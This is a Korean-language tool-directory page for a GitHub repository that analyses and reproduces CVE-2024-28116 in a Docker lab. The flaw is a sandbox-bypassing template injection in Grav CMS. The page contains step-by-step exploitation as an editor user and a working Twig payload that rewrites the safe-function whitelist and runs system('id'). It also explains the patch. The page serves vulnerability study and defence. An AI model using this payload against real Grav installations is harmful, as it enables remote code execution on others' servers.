Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
grav-cve-2024-28116 — CVE-2024-28116 분석 및 Docker 재현 - Grav CMS의 샌드박스 우회 SSTI | Kitploit
도구/GitHubGitHub/bebarossi/grav-cve-2024-28116
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

CVE-2024-28116 분석 및 Docker 재현 - Grav CMS의 샌드박스 우회 SSTI

저장소 보기
822일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-28116 — Grav CMS의 샌드박스 우회를 동반한 SSTI

Grav CMS 1.7.44 이하 버전에서 발생하며 1.7.45 버전에서 수정된, 보안 샌드박스 우회가 가능한 서버 측 템플릿 주입(SSTI) 취약점인 CVE-2024-28116에 대한 분석 및 Docker 재현 자료입니다.

제보자: Maurizio Siddu (akabe1)
CVSS v3.1 점수: 8.8 (High)
패치 버전: Grav CMS 1.7.45


저장소 구조

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (취약 버전)
    • apache.conf # Apache 구성
  • patched
    • Dockerfile # Grav CMS 1.7.45 (패치 버전)
    • apache.conf # Apache 구성
  • CVE-2024-28116_Report.pdf

요구 사항

  • macOS에서 Docker Desktop이 설치되어 실행 중이어야 합니다.
  • 다른 종속성은 필요 없습니다. 모든 것이 컨테이너 내부에 설치됩니다.

취약 환경 실행 방법 (Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

브라우저에서 http://localhost:8080/admin에 접속한 후, 첫 접속 시 관리자 계정을 생성합니다.


익스플로잇 재현 방법

  1. 관리자 패널에서 편집자 권한만 가진 두 번째 사용자 계정을 생성합니다 (Login to Site, Login to Admin, Pages를 Allowed로 설정하고 나머지는 모두 Not set으로 둡니다)
  2. 프라이빗 브라우저 창을 열고 http://localhost:8080/admin에서 편집자로 로그인합니다
  3. Pages → Add Page로 이동하여 제목을 test page로 설정하고 Continue를 클릭합니다
  4. Advanced 탭에서 Process 항목의 Markdown과 Twig를 모두 체크하여 Twig 처리를 활성화합니다
  5. Content 탭에 다음 페이로드를 붙여넣습니다:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. Save를 클릭합니다
  2. 일반 브라우저 탭을 열고 http://localhost:8080/test-page에 접속합니다
  3. 서버는 전체 Grav 구성 객체를 덤프하고 맨 아래에 uid=33(www-data) gid=33(www-data) groups=33(www-data)를 표시합니다

이는 웹 서버 사용자 권한으로의 원격 코드 실행(RCE)을 확인해 줍니다.


패치된 환경 실행 방법 (Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

브라우저에서 http://localhost:8081/admin에 접속하여 위의 모든 익스플로잇 단계를 http://localhost:8081/test-page를 대상으로 반복합니다.

페이지는 완전히 비어 있는 상태로 표시됩니다. Security.php의 cleanDangerousTwig() 메서드가 twig.safe_functions 지시어를 Twig 엔진에 전달되기 전에 감지하여 차단합니다. 화이트리스트는 절대 수정되지 않으며 명령도 실행되지 않습니다.


취약점 작동 원리

취약점은 system/src/Grav/Common/Twig.php에 위치합니다. Grav는 isDangerousFunction()이 확인하는 블랙리스트를 기반으로 Twig 템플릿 내부에서 위험한 PHP 함수가 호출되는 것을 방지하는 샌드박스를 구현합니다. 그러나 샌드박스는 Twig 객체 자체를 보호하지 않습니다. 편집자 권한의 사용자는 조작된 템플릿 지시어를 통해 Twig 객체와 상호 작용하여 런타임에 system.twig.safe_functions 화이트리스트를 덮어쓸 수 있습니다. system()과 같은 위험한 함수가 화이트리스트에 추가되면 샌드박스 검사가 우회되고 해당 함수가 자유롭게 실행됩니다.


수정 사항

패치는 system/src/Grav/Common/Security.php의 cleanDangerousTwig() 메서드 내부 차단 패턴 목록에 'twig.safe_functions'를 추가합니다. 이 문자열을 포함하는 모든 지시어는 Twig 엔진에 도달하기 전에 무력화되므로, 편집자가 템플릿 내부에서 화이트리스트를 수정하는 것이 불가능해집니다.

도구 다운로드